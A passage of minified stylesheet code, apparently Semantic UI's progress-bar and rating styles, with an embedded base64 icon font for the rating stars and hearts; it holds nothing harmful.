.bar{border-radius:0}.ui.card>.ui.attached.progress,.ui.segment>.ui.attached.progress{position:absolute;top:auto;left:0;bottom:100%;width:100%}.ui.card>.ui.bottom.attached.progress,.ui.segment>.ui.bottom.attached.progress{top:100%;bottom:auto}.ui.red.progress .bar{background-color:#DB2828}.ui.red.inverted.progress .bar{background-color:#FF695E}.ui.orange.progress .bar{background-color:#F2711C}.ui.orange.inverted.progress .bar{background-color:#FF851B}.ui.yellow.progress .bar{background-color:#FBBD08}.ui.yellow.inverted.progress .bar{background-color:#FFE21F}.ui.olive.progress .bar{background-color:#B5CC18}.ui.olive.inverted.progress .bar{background-color:#D9E778}.ui.green.progress .bar{background-color:#21BA45}.ui.green.inverted.progress .bar{background-color:#2ECC40}.ui.teal.progress .bar{background-color:#00B5AD}.ui.teal.inverted.progress .bar{background-color:#6DFFFF}.ui.blue.progress .bar{background-color:#2185D0}.ui.blue.inverted.progress .bar{background-color:#54C8FF}.ui.violet.progress .bar{background-color:#6435C9}.ui.violet.inverted.progress .bar{background-color:#A291FB}.ui.purple.progress .bar{background-color:#A333C8}.ui.purple.inverted.progress .bar{background-color:#DC73FF}.ui.pink.progress .bar{background-color:#E03997}.ui.pink.inverted.progress .bar{background-color:#FF8EDF}.ui.brown.progress .bar{background-color:#A5673F}.ui.brown.inverted.progress .bar{background-color:#D67C1C}.ui.grey.progress .bar{background-color:#767676}.ui.grey.inverted.progress .bar{background-color:#DCDDDE}.ui.black.progress .bar{background-color:#1B1C1D}.ui.black.inverted.progress .bar{background-color:#545454}.ui.tiny.progress{font-size:.85714286rem}.ui.tiny.progress .bar{height:.5em}.ui.small.progress{font-size:.92857143rem}.ui.small.progress .bar{height:1em}.ui.progress{font-size:1rem}.ui.progress .bar{height:1.75em}.ui.large.progress{font-size:1.14285714rem}.ui.large.progress .bar{height:2.5em}.ui.big.progress{font-size:1.28571429rem}.ui.big.progress .bar{height:3.5em}.ui.rating:last-child{margin-right:0}.ui.rating .icon{padding:0;margin:0;-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;cursor:pointer;width:1.25em;height:auto;-webkit-transition:opacity .1s ease,background .1s ease,text-shadow .1s ease,color .1s ease;transition:opacity .1s ease,background .1s ease,text-shadow .1s ease,color .1s ease;background:0 0;color:rgba(0,0,0,.15);font-family:Rating;line-height:1;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.rating .active.icon{background:0 0;color:rgba(0,0,0,.85)}.ui.rating .icon.selected,.ui.rating .icon.selected.active{background:0 0;color:rgba(0,0,0,.87)}.ui.star.rating .icon{width:1.25em;height:auto;background:0 0;color:rgba(0,0,0,.15);text-shadow:none}.ui.star.rating .active.icon{background:0 0!important;color:#FFE623!important;text-shadow:0 -1px 0 #DDC507,-1px 0 0 #DDC507,0 1px 0 #DDC507,1px 0 0 #DDC507!important}.ui.star.rating .icon.selected,.ui.star.rating .icon.selected.active{background:0 0!important;color:#FC0!important;text-shadow:0 -1px 0 #E6A200,-1px 0 0 #E6A200,0 1px 0 #E6A200,1px 0 0 #E6A200!important}.ui.heart.rating .icon{width:1.4em;height:auto;background:0 0;color:rgba(0,0,0,.15);text-shadow:none!important}.ui.heart.rating .active.icon{background:0 0!important;color:#FF6D75!important;text-shadow:0 -1px 0 #CD0707,-1px 0 0 #CD0707,0 1px 0 #CD0707,1px 0 0 #CD0707!important}.ui.heart.rating .icon.selected,.ui.heart.rating .icon.selected.active{background:0 0!important;color:#FF3000!important;text-shadow:0 -1px 0 #AA0101,-1px 0 0 #AA0101,0 1px 0 #AA0101,1px 0 0 #AA0101!important}.ui.disabled.rating .icon{cursor:default}.ui.rating .icon.selected,.ui.rating.selected .active.icon,.ui.rating.selected .icon.selected{opacity:1}.ui.mini.rating{font-size:.78571429rem}.ui.tiny.rating{font-size:.85714286rem}.ui.small.rating{font-size:.92857143rem}.ui.rating{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;white-space:nowrap;vertical-align:baseline;font-size:1rem}.ui.large.rating{font-size:1.14285714rem}.ui.huge.rating{font-size:1.42857143rem}.ui.massive.rating{font-size:2rem}@font-face{font-family:Rating;src:url(data:application/x-font-ttf;charset=utf-8;base64,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) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,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kIiRi5MI5vdUFfcni4vCBYufhJx8mn2ZepJ3i3aLeoR9fX18g3qLdwiLVAUO+yaLshWL+AQFi5GNkY+RjpCQj5KNj42PjI+LCPfAiwWPi4+Kj4mRiZCHj4aPhY2Fi4UIi/wEBYuEiYWHhoeGhoeFiIiKhoqHi4GLhI6EkQj7EvcN+xL7DQWEhYOIgouHi4eLh42EjoaPiJCHkImRi5IIDov3XRWLko2Rj5Kltq+vuKW4pbuZvYu9i7t9uHG4ca9npWCPhI2Fi4SLhYmEh4RxYGdoXnAIXnFbflmLWYtbmF6lXqZnrnG2h5KJkouRCLCLFaRkq2yxdLF0tH+4i7iLtJexorGiq6qksm64Z61goZZ3kXaLdItnfm1ycnJybX9oiwhoi22XcqRypH6pi6+LopGglp9gdWdpbl4I9xiwFYuHjIiOiI6IjoqPi4+LjoyOjo2OjY6Lj4ubkJmXl5eWmZGbi4+LjoyOjo2OjY6LjwiLj4mOiY6IjYiNh4tzi3eCenp6eoJ3i3MIDov3XRWLko2Sj5GouK+utqW3pbqYvouci5yJnIgIm6cFjY6NjI+LjIuNi42JjYqOio+JjomOiY6KjomOiY6JjoqNioyKjomMiYuHi4qLiouLCHdnbVVjQ2NDbVV3Zwh9cgWJiIiJiIuJi36SdJiIjYmOi46LjY+UlJlvl3KcdJ90oHeie6WHkYmSi5IIsIsVqlq0Z711CKGzBXqXfpqCnoKdhp6LoIuikaCWn2B1Z2luXgj3GLAVi4eMiI6IjoiOio+Lj4uOjI6OjY6NjouPi5uQmZeXl5aZkZuLj4uOjI6OjY6NjouPCIuPiY6JjoiNiI2Hi3OLd4J6enp6gneLcwji+10VoLAFtI+wmK2hrqKnqKKvdq1wp2uhCJ2rBZ1/nHycepx6mHqWeY+EjYWLhIuEiYWHhIR/gH1+fG9qaXJmeWV5Y4Jhiwi53BXb9yQFjIKMg4uEi3CDc3x1fHV3fHOBCA6L1BWL90sFi5WPlJKSkpKTj5aLCNmLBZKPmJqepJaZlZeVlY+Qj5ONl42WjpeOmI+YkZWTk5OSk46Vi5uLmYiYhZiFlIGSfgiSfo55i3WLeYd5gXgIvosFn4uchJl8mn2Seot3i3qGfIJ9jYSLhYuEi3yIfoR+i4eLh4uHi3eGen99i3CDdnt8CHt8dYNwiwhmiwV5i3mNeY95kHeRc5N1k36Ph4sIOYsFgIuDjoSShJKHlIuVCLCdFYuGjIePiI+Hj4mQi5CLj42Pj46OjY+LkIuQiZCIjoePh42Gi4aLh4mHh4eIioaLhgjUeRWUiwWNi46Lj4qOi4+KjYqOi4+Kj4mQio6KjYqNio+Kj4mQio6KjIqzfquEpIsIrosFr4uemouri5CKkYqQkY6QkI6SjpKNkouSi5KJkoiRlZWQlouYi5CKkImRiZGJj4iOCJGMkI+PlI+UjZKLkouViJODk4SSgo+CiwgmiwWLlpCalJ6UnpCbi5aLnoiYhJSFlH+QeYuGhoeDiYCJf4h/h3+IfoWBg4KHh4SCgH4Ii4qIiYiGh4aIh4mIiIiIh4eGh4aHh4eHiIiHiIeHiIiHiIeKh4mIioiLCIKLi/tLBQ6L90sVi/dLBYuVj5OSk5KSk46WiwjdiwWPi5iPoZOkk6CRnZCdj56Nn4sIq4sFpougg5x8m3yTd4txCIuJBZd8kHuLd4uHi4eLh5J+jn6LfIuEi4SJhZR9kHyLeot3hHp8fH19eoR3iwhYiwWVeI95i3mLdIh6hH6EfoKBfoV+hX2He4uBi4OPg5KFkYaTh5SHlYiTipOKk4qTiJMIiZSIkYiPgZSBl4CaeKR+moSPCD2LBYCLg4+EkoSSh5SLlQiw9zgVi4aMh4+Ij4ePiZCLkIuPjY+Pjo6Nj4uQi5CJkIiOh4+HjYaLhouHiYeHh4iKhouGCNT7OBWUiwWOi46Kj4mPio+IjoiPh4+IjoePiI+Hj4aPho6HjoiNiI6Hj4aOho6Ii4qWfpKDj4YIk4ORgY5+j36OgI1/jYCPg5CGnYuXj5GUkpSOmYuei5aGmoKfgp6GmouWCPCLBZSLlI+SkpOTjpOLlYuSiZKHlIeUho+Fi46PjY+NkY2RjJCLkIuYhpaBlY6RjZKLkgiLkomSiJKIkoaQhY6MkIyRi5CLm4aXgpOBkn6Pe4sIZosFcotrhGN9iouIioaJh4qHiomKiYqIioaKh4mHioiKiYuHioiLh4qIi4mLCIKLi/tLBQ77lIv3txWLkpCPlo0I9yOgzPcWBY6SkI+RiwiL/BL7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPwBYaQiZCLjwgOi/fFFYu1l6yjoqOjrZe2i5aLl4mYh5eHloWWhJaElIWShZOEkoWShJKSkpGTkpKRlJGWkgiWkpaRl4+Yj5eNlou2i61/o3OjdJdqi2GLYXVgYGAI+0b7QAWHiIeJhouGi4eNh44I+0b3QAWJjYmNh4+IjoaRg5SElIWVhZSFlYaWh5mGmImYi5gIsIsVi2ucaa9oCPc6+zT3OvczBa+vnK2Lq4ubiZiHl4eXhpSFkoSSg5GCj4KQgo2CjYONgYuBi4KLgIl/hoCGgIWChAiBg4OFhISEhYaFhoaIhoaJhYuFi4aNiJCGkIaRhJGEkoORgZOCkoCRgJB/kICNgosIgYuBi4OJgomCiYKGgoeDhYSEhYSGgod/h3+Jfot7CA77JouyFYv4BAWLkY2Rj5GOkJCPko2PjY+Mj4sI98CLBY+Lj4qPiZGJkIePho+FjYWLhQiL/AQFi4SJhYeGh4aGh4WIiIqGioeLgYuEjoSRCPsS9w37EvsNBYSFg4iCi4eLh4uHjYSOho+IkIeQiZGLkgiwkxX3JvchpHL3DfsIi/f3+7iLi/v3BQ5ni8sVi/c5BYuSjpKQkJCQko6Siwj3VIuLwgWLrpippKSkpKmYrouvi6l+pHKkcpdti2gIi0IFi4aKhoeIh4eHiYaLCHmLBYaLh42Hj4eOipCLkAiL1AWLn4OcfZp9mXqSdot3i3qEfX18fIR6i3cIi1SniwWSi5KIkIaQho6Ei4QIi/s5BYuDiIWGhoaFhImEiwj7p4sFhIuEjYaRhpCIkYuTCA5njPe6FYyQkI6UjQj3I6DM9xYFj5KPj5GLkIuQh4+ECMv7FvcjdgWUiZCIjYaNhoiFhYUIIyak+yMFjIWKhomHiYiIiYaLiIuHjIeNCPsUz/sVRwWHiYeKiIuHi4eNiY6Jj4uQjJEIo/cjI/AFhZGJkY2QCPeB+z0VnILlW3rxiJ6ZmNTS+wydgpxe54v7pwUOZ4vCFYv3SwWLkI2Pjo+Pjo+NkIsI3osFkIuPiY6Ij4eNh4uGCIv7SwWLhomHh4eIh4eKhosIOIsFhouHjIePiI+Jj4uQCLCvFYuGjIePh46IkImQi5CLj42Pjo6PjY+LkIuQiZCIjoePh42Gi4aLh